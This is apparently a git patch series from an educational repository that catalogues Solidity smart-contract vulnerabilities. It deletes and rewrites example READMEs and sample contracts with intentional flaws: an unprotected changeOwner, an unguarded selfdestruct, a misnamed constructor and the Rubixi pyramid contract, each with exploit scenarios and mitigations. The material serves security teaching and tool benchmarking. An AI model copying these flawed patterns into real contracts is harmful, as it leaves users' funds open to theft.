// [sequence, numOpenVc, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI] - bytes32 _VCroot, - string _sigA, - string _sigI - ) - public - { - Channel storage channel = Channels[_lcID]; - require(channel.isOpen); - require(channel.sequence < updateParams[0]); // do same as vc sequence check - require(channel.ethBalances[0] + channel.ethBalances[1] >= updateParams[2] + updateParams[3]); - require(channel.erc20Balances[0] + channel.erc20Balances[1] >= updateParams[4] + updateParams[5]); - - if(channel.isUpdateLCSettling == true) { - require(channel.updateLCtimeout > now); - } - - bytes32 _state = keccak256( - abi.encodePacked( - _lcID, - false, - updateParams[0], - updateParams[1], - _VCroot, - channel.partyAddresses[0], - channel.partyAddresses[1], - updateParams[2], - updateParams[3], - updateParams[4], - updateParams[5] - ) - ); - - require(channel.partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); - require(channel.partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); - - // update LC state - channel.sequence = updateParams[0]; - channel.numOpenVC = updateParams[1]; - channel.ethBalances[0] = updateParams[2]; - channel.ethBalances[1] = updateParams[3]; - channel.erc20Balances[0] = updateParams[4]; - channel.erc20Balances[1] = updateParams[5]; - channel.VCrootHash = _VCroot; - channel.isUpdateLCSettling = true; - channel.updateLCtimeout = now + channel.confirmTime; - - // make settlement flag - - emit DidLCUpdateState ( - _lcID, - updateParams[0], - updateParams[1], - updateParams[2], - updateParams[3], - updateParams[4], - updateParams[5], - _VCroot, - channel.updateLCtimeout - ); - } - - // supply initial state of VC to "prime" the force push game - function initVCstate( - bytes32 _lcID, - bytes32 _vcID, - bytes _proof, - address _partyA, - address _partyB, - uint256[2] _bond, - uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI - string sigA - ) - public - { - require(Channels[_lcID].isOpen, "LC is closed."); - // sub-channel must be open - require(!virtualChannels[_vcID].isClose, "VC is closed."); - // Check time has passed on updateLCtimeout and has not passed the time to store a vc state - require(Channels[_lcID].updateLCtimeout < now, "LC timeout not over."); - // prevent rentry of initializing vc state - require(virtualChannels[_vcID].updateVCtimeout == 0); - // partyB is now Ingrid - bytes32 _initState = keccak256( - abi.encodePacked(_vcID, uint256(0), _partyA, _partyB, _bond[0], _bond[1], _balances[0], _balances[1], _balances[2], _balances[3]) - ); - - // Make sure Alice has signed initial vc state (A/B in oldState) - require(_partyA == ECTools.recoverSigner(_initState, sigA)); - - // Check the oldState is in the root hash - require(_isContained(_initState, _proof, Channels[_lcID].VCrootHash) == true); - - virtualChannels[_vcID].partyA = _partyA; // VC participant A - virtualChannels[_vcID].partyB = _partyB; // VC participant B - virtualChannels[_vcID].sequence = uint256(0); - virtualChannels[_vcID].ethBalances[0] = _balances[0]; - virtualChannels[_vcID].ethBalances[1] = _balances[1]; - virtualChannels[_vcID].erc20Balances[0] = _balances[2]; - virtualChannels[_vcID].erc20Balances[1] = _balances[3]; - virtualChannels[_vcID].bond = _bond; - virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; - virtualChannels[_vcID].isInSettlementState = true; - - emit DidVCInit(_lcID, _vcID, _proof, uint256(0), _partyA, _partyB, _balances[0], _balances[1]); - } - - //TODO: verify state transition since the hub did not agree to this state - // make sure the A/B balances are not beyond ingrids bonds - // Params: vc init state, vc final balance, vcID - function settleVC( - bytes32 _lcID, - bytes32 _vcID, - uint256 updateSeq, - address _partyA, - address _partyB, - uint256[4] updateBal, // [ethupdateBalA, ethupdateBalB, tokenupdateBalA, tokenupdateBalB] - string sigA - ) - public - { - require(Channels[_lcID].isOpen, "LC is closed."); - // sub-channel must be open - require(!virtualChannels[_vcID].isClose, "VC is closed."); - require(virtualChannels[_vcID].sequence < updateSeq, "VC sequence is higher than update sequence."); - require( - virtualChannels[_vcID].ethBalances[1] < updateBal[1] && virtualChannels[_vcID].erc20Balances[1] < updateBal[3], - "State updates may only increase recipient balance." - ); - require( - virtualChannels[_vcID].bond[0] == updateBal[0] + updateBal[1] && - virtualChannels[_vcID].bond[1] == updateBal[2] + updateBal[3], - "Incorrect balances for bonded amount"); - // Check time has passed on updateLCtimeout and has not passed the time to store a vc state - // virtualChannels[_vcID].updateVCtimeout should be 0 on uninitialized vc state, and this should - // fail if initVC() isn't called first - // require(Channels[_lcID].updateLCtimeout < now && now < virtualChannels[_vcID].updateVCtimeout); - require(Channels[_lcID].updateLCtimeout < now); // for testing! - - bytes32 _updateState = keccak256( - abi.encodePacked( - _vcID, - updateSeq, - _partyA, - _partyB, - virtualChannels[_vcID].bond[0], - virtualChannels[_vcID].bond[1], - updateBal[0], - updateBal[1], - updateBal[2], - updateBal[3] - ) - ); - - // Make sure Alice has signed a higher sequence new state - require(virtualChannels[_vcID].partyA == ECTools.recoverSigner(_updateState, sigA)); - - // store VC data - // we may want to record who is initiating on-chain settles - virtualChannels[_vcID].challenger = msg.sender; - virtualChannels[_vcID].sequence = updateSeq; - - // channel state - virtualChannels[_vcID].ethBalances[0] = updateBal[0]; - virtualChannels[_vcID].ethBalances[1] = updateBal[1]; - virtualChannels[_vcID].erc20Balances[0] = updateBal[2]; - virtualChannels[_vcID].erc20Balances[1] = updateBal[3]; - - virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; - - emit DidVCSettle(_lcID, _vcID, updateSeq, updateBal[0], updateBal[1], msg.sender, virtualChannels[_vcID].updateVCtimeout); - } - - function closeVirtualChannel(bytes32 _lcID, bytes32 _vcID) public { - // require(updateLCtimeout > now) - require(Channels[_lcID].isOpen, "LC is closed."); - require(virtualChannels[_vcID].isInSettlementState, "VC is not in settlement state."); - require(virtualChannels[_vcID].updateVCtimeout < now, "Update vc timeout has not elapsed."); - require(!virtualChannels[_vcID].isClose, "VC is already closed"); - // reduce the number of open virtual channels stored on LC - Channels[_lcID].numOpenVC--; - // close vc flags - virtualChannels[_vcID].isClose = true; - // re-introduce the balances back into the LC state from the settled VC - // decide if this lc is alice or bob in the vc - if(virtualChannels[_vcID].partyA == Channels[_lcID].partyAddresses[0]) { - Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[0]; - Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[1]; - - Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[0]; - Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[1]; - } else if (virtualChannels[_vcID].partyB == Channels[_lcID].partyAddresses[0]) { - Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[1]; - Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[0]; - - Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[1]; - Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[0]; - } - - emit DidVCClose(_lcID, _vcID, virtualChannels[_vcID].erc20Balances[0], virtualChannels[_vcID].erc20Balances[1]); - } - - - // todo: allow ethier lc.end-user to nullify the settled LC state and return to off-chain - function byzantineCloseChannel(bytes32 _lcID) public { - Channel storage channel = Channels[_lcID]; - - // check settlement flag - require(channel.isOpen, "Channel is not open"); - require(channel.isUpdateLCSettling == true); - require(channel.numOpenVC == 0); - require(channel.updateLCtimeout < now, "LC timeout over."); - - // if off chain state update didnt reblance deposits, just return to deposit owner - uint256 totalEthDeposit = channel.initialDeposit[0] + channel.ethBalances[2] + channel.ethBalances[3]; - uint256 totalTokenDeposit = channel.initialDeposit[1] + channel.erc20Balances[2] + channel.erc20Balances[3]; - - uint256 possibleTotalEthBeforeDeposit = channel.ethBalances[0] + channel.ethBalances[1]; - uint256 possibleTotalTokenBeforeDeposit = channel.erc20Balances[0] + channel.erc20Balances[1]; - - if(possibleTotalEthBeforeDeposit < totalEthDeposit) { - channel.ethBalances[0]+=channel.ethBalances[2]; - channel.ethBalances[1]+=channel.ethBalances[3]; - } else { - require(possibleTotalEthBeforeDeposit == totalEthDeposit); - } - - if(possibleTotalTokenBeforeDeposit < totalTokenDeposit) { - channel.erc20Balances[0]+=channel.erc20Balances[2]; - channel.erc20Balances[1]+=channel.erc20Balances[3]; - } else { - require(possibleTotalTokenBeforeDeposit == totalTokenDeposit); - } - - // reentrancy - uint256 ethbalanceA = channel.ethBalances[0]; - uint256 ethbalanceI = channel.ethBalances[1]; - uint256 tokenbalanceA = channel.erc20Balances[0]; - uint256 tokenbalanceI = channel.erc20Balances[1]; - - channel.ethBalances[0] = 0; - channel.ethBalances[1] = 0; - channel.erc20Balances[0] = 0; - channel.erc20Balances[1] = 0; - - if(ethbalanceA != 0 || ethbalanceI != 0) { - channel.partyAddresses[0].transfer(ethbalanceA); - channel.partyAddresses[1].transfer(ethbalanceI); - } - - if(tokenbalanceA != 0 || tokenbalanceI != 0) { - require( - channel.token.transfer(channel.partyAddresses[0], tokenbalanceA), - "byzantineCloseChannel: token transfer failure" - ); - require( - channel.token.transfer(channel.partyAddresses[1], tokenbalanceI), - "byzantineCloseChannel: token transfer failure" - ); - } - - channel.isOpen = false; - numChannels--; - - emit DidLCClose(_lcID, channel.sequence, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI); - } - - function _isContained(bytes32 _hash, bytes _proof, bytes32 _root) internal pure returns (bool) { - bytes32 cursor = _hash; - bytes32 proofElem; - - for (uint256 i = 64; i <= _proof.length; i += 32) { - assembly { proofElem := mload(add(_proof, i)) } - - if (cursor < proofElem) { - cursor = keccak256(abi.encodePacked(cursor, proofElem)); - } else { - cursor = keccak256(abi.encodePacked(proofElem, cursor)); - } - } - - return cursor == _root; - } - - //Struct Getters - function getChannel(bytes32 id) public view returns ( - address[2], - uint256[4], - uint256[4], - uint256[2], - uint256, - uint256, - bytes32, - uint256, - uint256, - bool, - bool, - uint256 - ) { - Channel memory channel = Channels[id]; - return ( - channel.partyAddresses, - channel.ethBalances, - channel.erc20Balances, - channel.initialDeposit, - channel.sequence, - channel.confirmTime, - channel.VCrootHash, - channel.LCopenTimeout, - channel.updateLCtimeout, - channel.isOpen, - channel.isUpdateLCSettling, - channel.numOpenVC - ); - } - - function getVirtualChannel(bytes32 id) public view returns( - bool, - bool, - uint256, - address, - uint256, - address, - address, - address, - uint256[2], - uint256[2], - uint256[2] - ) { - VirtualChannel memory virtualChannel = virtualChannels[id]; - return( - virtualChannel.isClose, - virtualChannel.isInSettlementState, - virtualChannel.sequence, - virtualChannel.challenger, - virtualChannel.updateVCtimeout, - virtualChannel.partyA, - virtualChannel.partyB, - virtualChannel.partyI, - virtualChannel.ethBalances, - virtualChannel.erc20Balances, - virtualChannel.bond - ); - } -} From d9e440ab1e116c812ba1f35ec12f15973e15976f Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 16:50:26 -0400 Subject: [PATCH 71/73] rm old examples already covered by honeypot examples --- .../solidity/honeypots/README.md | 2 +- .../solidity/rtlo/README.md | 6 +- .../state-variable-shadowing/README.md | 37 ----- .../solidity/suicidal/README.md | 21 --- .../solidity/tautology/README.md | 7 +- .../uninitialized-state-variables/README.md | 25 --- .../solidity/uninitialized-storage/README.md | 29 ---- .../solidity/unprotected_function/README.md | 9 +- .../unprotected_function/Unprotected.sol | 23 +-- .../solidity/unused_return/README.md | 13 +- .../solidity/variable shadowing/README.md | 11 -- .../variable shadowing/inherited_state.sol | 13 -- .../solidity/wrong_constructor_name/README.md | 15 -- .../Rubixi_source_code/Rubixi.sol | 155 ------------------ .../incorrect_constructor.sol | 25 --- 15 files changed, 25 insertions(+), 366 deletions(-) delete mode 100644 not-so-smart-contracts/solidity/state-variable-shadowing/README.md delete mode 100644 not-so-smart-contracts/solidity/suicidal/README.md delete mode 100644 not-so-smart-contracts/solidity/uninitialized-state-variables/README.md delete mode 100644 not-so-smart-contracts/solidity/uninitialized-storage/README.md delete mode 100644 not-so-smart-contracts/solidity/variable shadowing/README.md delete mode 100644 not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol delete mode 100644 not-so-smart-contracts/solidity/wrong_constructor_name/README.md delete mode 100644 not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol delete mode 100644 not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol diff --git a/not-so-smart-contracts/solidity/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md index 8447cb7f..7743e439 100644 --- a/not-so-smart-contracts/solidity/honeypots/README.md +++ b/not-so-smart-contracts/solidity/honeypots/README.md @@ -59,7 +59,7 @@ Someone familiar with smart contract security and some of the more technical vul ## [VarLoop](VarLoop.sol) -The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. +The contract appears vulnerable to an old-fashioned constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough.
Trap Spoiler diff --git a/not-so-smart-contracts/solidity/rtlo/README.md b/not-so-smart-contracts/solidity/rtlo/README.md index ada8f36d..85e431c1 100644 --- a/not-so-smart-contracts/solidity/rtlo/README.md +++ b/not-so-smart-contracts/solidity/rtlo/README.md @@ -1,6 +1,7 @@ ## Right-To-Left-Override character ### Description + An attacker can manipulate the logic of the contract by using a right-to-left-override character (U+202E) ### Exploit Scenario: @@ -31,9 +32,6 @@ contract Token `Token` uses the right-to-left-override character when calling `_withdraw`. As a result, the fee is incorrectly sent to `msg.sender`, and the token balance is sent to the owner. - - ### Mitigations - Special control characters must not be allowed. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - +- Use [slither](https://github.com/crytic/slither/) to detect the right-to-left-override character. diff --git a/not-so-smart-contracts/solidity/state-variable-shadowing/README.md b/not-so-smart-contracts/solidity/state-variable-shadowing/README.md deleted file mode 100644 index a50dcf36..00000000 --- a/not-so-smart-contracts/solidity/state-variable-shadowing/README.md +++ /dev/null @@ -1,37 +0,0 @@ -## State variable shadowing - -### Description -State variables can be shadowed in Solidity. - -### Exploit Scenario: - -```solidity -contract BaseContract{ - address owner; - - modifier isOwner(){ - require(owner == msg.sender); - _; - } - -} - -contract DerivedContract is BaseContract{ - address owner; - - constructor(){ - owner = msg.sender; - } - - function withdraw() isOwner() external{ - msg.sender.transfer(this.balance); - } -} -``` -`owner` of `BaseContract` is never assigned and the modifier `isOwner` does not work. - -### Mitigations -- Avoid state variable shadowing. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - - diff --git a/not-so-smart-contracts/solidity/suicidal/README.md b/not-so-smart-contracts/solidity/suicidal/README.md deleted file mode 100644 index 33f65a20..00000000 --- a/not-so-smart-contracts/solidity/suicidal/README.md +++ /dev/null @@ -1,21 +0,0 @@ -## Suicidal contract - -### Description -Unprotected call to a function executing `selfdestruct`/`suicide`. - -### Exploit Scenario: - -```solidity -contract Suicidal{ - function kill() public{ - selfdestruct(msg.sender); - } -} -``` -Bob calls `kill` and destructs the contract. - -### Mitigations -- Protect access to all sensitive functions. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - - diff --git a/not-so-smart-contracts/solidity/tautology/README.md b/not-so-smart-contracts/solidity/tautology/README.md index c3556968..ee5e3283 100644 --- a/not-so-smart-contracts/solidity/tautology/README.md +++ b/not-so-smart-contracts/solidity/tautology/README.md @@ -1,6 +1,7 @@ ## Tautology or contradiction ### Description + Expressions that are tautologies or contradictions. ### Exploit Scenario: @@ -22,11 +23,11 @@ contract A { } } ``` + `x` is an `uint256`, as a result `x >= 0` will be always true. -`y` is an `uint8`, as a result `y <512` will be always true. +`y` is an `uint8`, as a result `y <512` will be always true. ### Mitigations -- Avoid tautology -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue +- Use [Slither](https://github.com/crytic/slither/) to detect tautologies. diff --git a/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md b/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md deleted file mode 100644 index 84abf622..00000000 --- a/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md +++ /dev/null @@ -1,25 +0,0 @@ -## Uninitialized state variables - -### Description -Usage of uninitialized state variables. - -### Exploit Scenario: - -```solidity -contract Uninitialized{ - address destination; - - function transfer() payable public{ - destination.transfer(msg.value); - } -} -``` -Bob calls `transfer`. As a result, the ethers are sent to the address 0x0 and are lost. - - -### Mitigations -- Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - - - diff --git a/not-so-smart-contracts/solidity/uninitialized-storage/README.md b/not-so-smart-contracts/solidity/uninitialized-storage/README.md deleted file mode 100644 index fb8d525a..00000000 --- a/not-so-smart-contracts/solidity/uninitialized-storage/README.md +++ /dev/null @@ -1,29 +0,0 @@ - -## Uninitialized storage variables - -### Description -An uninitialized storage variable will act as a reference to the first state variable, and can override a critical variable. - -### Exploit Scenario: - -```solidity -contract Uninitialized{ - address owner = msg.sender; - - struct St{ - uint a; - } - - function func() { - St st; - st.a = 0x0; - } -} -``` -Bob calls `func`. As a result, `owner` is override to 0. - - -### Mitigations -- Initialize all the storage variables. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - diff --git a/not-so-smart-contracts/solidity/unprotected_function/README.md b/not-so-smart-contracts/solidity/unprotected_function/README.md index b148b40d..ba3dbafd 100644 --- a/not-so-smart-contracts/solidity/unprotected_function/README.md +++ b/not-so-smart-contracts/solidity/unprotected_function/README.md @@ -1,17 +1,16 @@ # Unprotected function + Missing (or incorrectly used) modifier on a function allows an attacker to use sensitive functionality in the contract. ## Attack Scenario -A contract with a `changeOwner` function does not label it as `private` and therefore -allows anyone to become the contract owner. +An [unprotected contract](Unprotected.sol) with a `changeOwner` function does not label it as `private` nor does it specify the `onlyOwner` modifier, therefore anyone can call `changeOwner` to take control of the contract. ## Mitigations -Always specify a modifier for functions. +Review all sensitive or administrative function and ensure that they have appropriate visibility & function modifiers. -## Examples -- An `onlyOwner` modifier is [defined but not used](Unprotected.sol), allowing anyone to become the `owner` +## Historical Examples - April 2016: [Rubixi allows anyone to become owner](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) - July 2017: [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) - BitGo Wallet v2 allows anyone to call tryInsertSequenceId. If you try close to MAXINT, no further transactions would be allowed. [Fix: make tryInsertSequenceId private.](https://github.com/BitGo/eth-multisig-v2/commit/8042188f08c879e06f097ae55c140e0aa7baaff8#diff-b498cc6fd64f83803c260abd8de0a8f5) diff --git a/not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol b/not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol index 9cd32d8c..eebcd84e 100644 --- a/not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol +++ b/not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol @@ -1,30 +1,23 @@ -pragma solidity ^0.4.15; +pragma solidity ^0.8.17; -contract Unprotected{ +contract Unprotected { address private owner; - modifier onlyowner { - require(msg.sender==owner); + modifier onlyOwner { + require(msg.sender==owner, "Permission denied"); _; } - function Unprotected() - public - { + constructor() { owner = msg.sender; } - // This function should be protected - function changeOwner(address _newOwner) - public - { + // This function is missing the onlyOwner function modifier + function changeOwner(address _newOwner) public { owner = _newOwner; } - function changeOwner_fixed(address _newOwner) - public - onlyowner - { + function changeOwnerFixed(address _newOwner) public onlyOwner { owner = _newOwner; } } diff --git a/not-so-smart-contracts/solidity/unused_return/README.md b/not-so-smart-contracts/solidity/unused_return/README.md index f14cb1c6..ded1b9b4 100644 --- a/not-so-smart-contracts/solidity/unused_return/README.md +++ b/not-so-smart-contracts/solidity/unused_return/README.md @@ -1,10 +1,10 @@ -## Unused return +# Unused return +## Description -### Description The return value of an external call is not checked. -### Exploit Scenario: +## Exploit Scenario: ```solidity contract MyConc{ @@ -14,10 +14,9 @@ contract MyConc{ } } ``` + `MyConc` calls `add` of SafeMath, but does not store the result in `a`. As a result, the computation has no effect. -### Mitigations +## Mitigations - Ensure that all the return values of the function calls are used. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - - +- Use [Slither](https://github.com/crytic/slither/) to detect function calls without any effect. diff --git a/not-so-smart-contracts/solidity/variable shadowing/README.md b/not-so-smart-contracts/solidity/variable shadowing/README.md deleted file mode 100644 index c9c11b05..00000000 --- a/not-so-smart-contracts/solidity/variable shadowing/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# Variable Shadowing -Variable shadowing occurs when a variable declared within a certain scope (decision block, method, or inner class) -has the same name as a variable declared in an outer scope. - -## Attack -This depends a lot on the code of the contract itself. For instance, in the [this example](inherited_state.sol), variable shadowing prevents the owner of contract `C` from performing self destruct - -## Mitigation -The solidity compiler has [some checks](https://github.com/ethereum/solidity/issues/973) to emit warnings when -it detects this kind of issue, but [it has known examples](https://github.com/ethereum/solidity/issues/2563) where -it fails. diff --git a/not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol b/not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol deleted file mode 100644 index f97f5459..00000000 --- a/not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol +++ /dev/null @@ -1,13 +0,0 @@ -contract Suicidal { - address owner; - function suicide() public returns (address) { - require(owner == msg.sender); - selfdestruct(owner); - } -} -contract C is Suicidal { - address owner; - function C() { - owner = msg.sender; - } -} diff --git a/not-so-smart-contracts/solidity/wrong_constructor_name/README.md b/not-so-smart-contracts/solidity/wrong_constructor_name/README.md deleted file mode 100644 index 78c7c395..00000000 --- a/not-so-smart-contracts/solidity/wrong_constructor_name/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Wrong Constructor Name - -A function intended to be a constructor is named incorrectly, which causes it to end up in the runtime bytecode instead of being a constructor. - -## Attack -Anyone can call the function that was supposed to be the constructor. -As a result anyone can change the state variables initialized in this function. - -## Mitigations - -- Use `constructor` instead of a named constructor - -## Examples -- [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor -- An [incorrectly named constructor](incorrect_constructor.sol) diff --git a/not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol b/not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol deleted file mode 100644 index a83370d7..00000000 --- a/not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol +++ /dev/null @@ -1,155 +0,0 @@ -// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code -pragma solidity ^0.4.15; - -contract Rubixi { - - //Declare variables for storage critical to contract - uint private balance = 0; - uint private collectedFees = 0; - uint private feePercent = 10; - uint private pyramidMultiplier = 300; - uint private payoutOrder = 0; - - address private creator; - - //Sets creator - function DynamicPyramid() { - creator = msg.sender; - } - - modifier onlyowner { - if (msg.sender == creator) _; - } - - struct Participant { - address etherAddress; - uint payout; - } - - Participant[] private participants; - - //Fallback function - function() { - init(); - } - - //init function run on fallback - function init() private { - //Ensures only tx with value of 1 ether or greater are processed and added to pyramid - if (msg.value < 1 ether) { - collectedFees += msg.value; - return; - } - - uint _fee = feePercent; - //50% fee rebate on any ether value of 50 or greater - if (msg.value >= 50 ether) _fee /= 2; - - addPayout(_fee); - } - - //Function called for valid tx to the contract - function addPayout(uint _fee) private { - //Adds new address to participant array - participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); - - //These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan - if (participants.length == 10) pyramidMultiplier = 200; - else if (participants.length == 25) pyramidMultiplier = 150; - - // collect fees and update contract balance - balance += (msg.value * (100 - _fee)) / 100; - collectedFees += (msg.value * _fee) / 100; - - //Pays earlier participiants if balance sufficient - while (balance > participants[payoutOrder].payout) { - uint payoutToSend = participants[payoutOrder].payout; - participants[payoutOrder].etherAddress.send(payoutToSend); - - balance -= participants[payoutOrder].payout; - payoutOrder += 1; - } - } - - //Fee functions for creator - function collectAllFees() onlyowner { - if (collectedFees == 0) throw; - - creator.send(collectedFees); - collectedFees = 0; - } - - function collectFeesInEther(uint _amt) onlyowner { - _amt *= 1 ether; - if (_amt > collectedFees) collectAllFees(); - - if (collectedFees == 0) throw; - - creator.send(_amt); - collectedFees -= _amt; - } - - function collectPercentOfFees(uint _pcent) onlyowner { - if (collectedFees == 0 || _pcent > 100) throw; - - uint feesToCollect = collectedFees / 100 * _pcent; - creator.send(feesToCollect); - collectedFees -= feesToCollect; - } - - //Functions for changing variables related to the contract - function changeOwner(address _owner) onlyowner { - creator = _owner; - } - - function changeMultiplier(uint _mult) onlyowner { - if (_mult > 300 || _mult < 120) throw; - - pyramidMultiplier = _mult; - } - - function changeFeePercentage(uint _fee) onlyowner { - if (_fee > 10) throw; - - feePercent = _fee; - } - - //Functions to provide information to end-user using JSON interface or other interfaces - function currentMultiplier() constant returns(uint multiplier, string info) { - multiplier = pyramidMultiplier; - info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; - } - - function currentFeePercentage() constant returns(uint fee, string info) { - fee = feePercent; - info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; - } - - function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { - pyramidBalance = balance / 1 ether; - info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; - } - - function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { - balancePayout = participants[payoutOrder].payout / 1 ether; - } - - function feesSeperateFromBalanceApproximately() constant returns(uint fees) { - fees = collectedFees / 1 ether; - } - - function totalParticipants() constant returns(uint count) { - count = participants.length; - } - - function numberOfParticipantsWaitingForPayout() constant returns(uint count) { - count = participants.length - payoutOrder; - } - - function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { - if (orderInPyramid <= participants.length) { - Address = participants[orderInPyramid].etherAddress; - Payout = participants[orderInPyramid].payout / 1 ether; - } - } -} diff --git a/not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol b/not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol deleted file mode 100644 index a3090a32..00000000 --- a/not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol +++ /dev/null @@ -1,25 +0,0 @@ -pragma solidity ^0.4.15; - -contract Missing{ - address private owner; - - modifier onlyowner { - require(msg.sender==owner); - _; - } - - // The name of the constructor should be Missing - // Anyone can call the IamMissing once the contract is deployed - function IamMissing() - public - { - owner = msg.sender; - } - - function withdraw() - public - onlyowner - { - owner.transfer(this.balance); - } -} From edda363842951332ab43952671c386c7601d35a7 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 17:06:55 -0400 Subject: [PATCH 72/73] more cleanup & update nssc/solidity readme --- not-so-smart-contracts/solidity/README.md | 20 +-- .../solidity/honeypots/GiftBox.sol | 2 +- .../honeypots/{KOTH.sol => KingOfTheKill.sol} | 2 +- .../solidity/honeypots/Lottery.sol | 2 + .../solidity/honeypots/PrivateBank.sol | 2 +- .../solidity/honeypots/README.md | 4 +- .../solidity/honeypots/VarLoop.sol | 2 +- .../KingOfTheEtherThrone.sol | 170 ------------------ .../unchecked_external_call/README.md | 30 ---- 9 files changed, 14 insertions(+), 220 deletions(-) rename not-so-smart-contracts/solidity/honeypots/{KOTH.sol => KingOfTheKill.sol} (96%) delete mode 100644 not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol delete mode 100644 not-so-smart-contracts/solidity/unchecked_external_call/README.md diff --git a/not-so-smart-contracts/solidity/README.md b/not-so-smart-contracts/solidity/README.md index 28326a9e..c446d283 100644 --- a/not-so-smart-contracts/solidity/README.md +++ b/not-so-smart-contracts/solidity/README.md @@ -1,6 +1,10 @@ -# (Not So) Smart Contracts -This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. Use Not So Smart Contracts to learn about EVM and Solidity vulnerabilities, as a reference when performing security reviews, and as a benchmark for security and analysis tools. +# (Not So) Smart Solidity Contracts + +This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. Use Not So Smart Contracts to +- learn about EVM and Solidity vulnerabilities +- as a reference when performing security reviews +- and as a benchmark for security and analysis tools. ## Features @@ -12,8 +16,6 @@ Each _Not So Smart Contract_ includes a standard set of information: * Real-world contracts that exhibit the flaw * References to third-party resources with more information -Bonus! We have also included a repository and analysis of several [honeypots](honeypots). - ## Vulnerabilities | Not So Smart Contract | Description | @@ -22,22 +24,14 @@ Bonus! We have also included a repository and analysis of several [honeypots](ho | [Dangerous Strict Equalities](dangerous_strict_equalities) | Use of strict equalities that can be easily manipulated by an attacker. | | [Denial of Service](denial_of_service) | Attacker stalls contract execution by failing in strategic way | | [Forced Ether Reception](forced_ether_reception) | Contracts can be forced to receive Ether | -| [Incorrect ERC20 Interface](incorrect_erc20_interface) | Token not implementing the ERC20 interface correctly. | -| [Incorrect ERC721 Interface](incorrect_erc721_interface) | Token not implementing the ERC721 interface correctly. | -| [Incorrect Interface](incorrect_interface) | Implementation uses different function signatures than interface | +| [Honeypots](honeypots) | Adversarial contracts that use obscure edge cases in a wide selection of solidity compiler versions to steal money from you when you think you're taking money from them | | 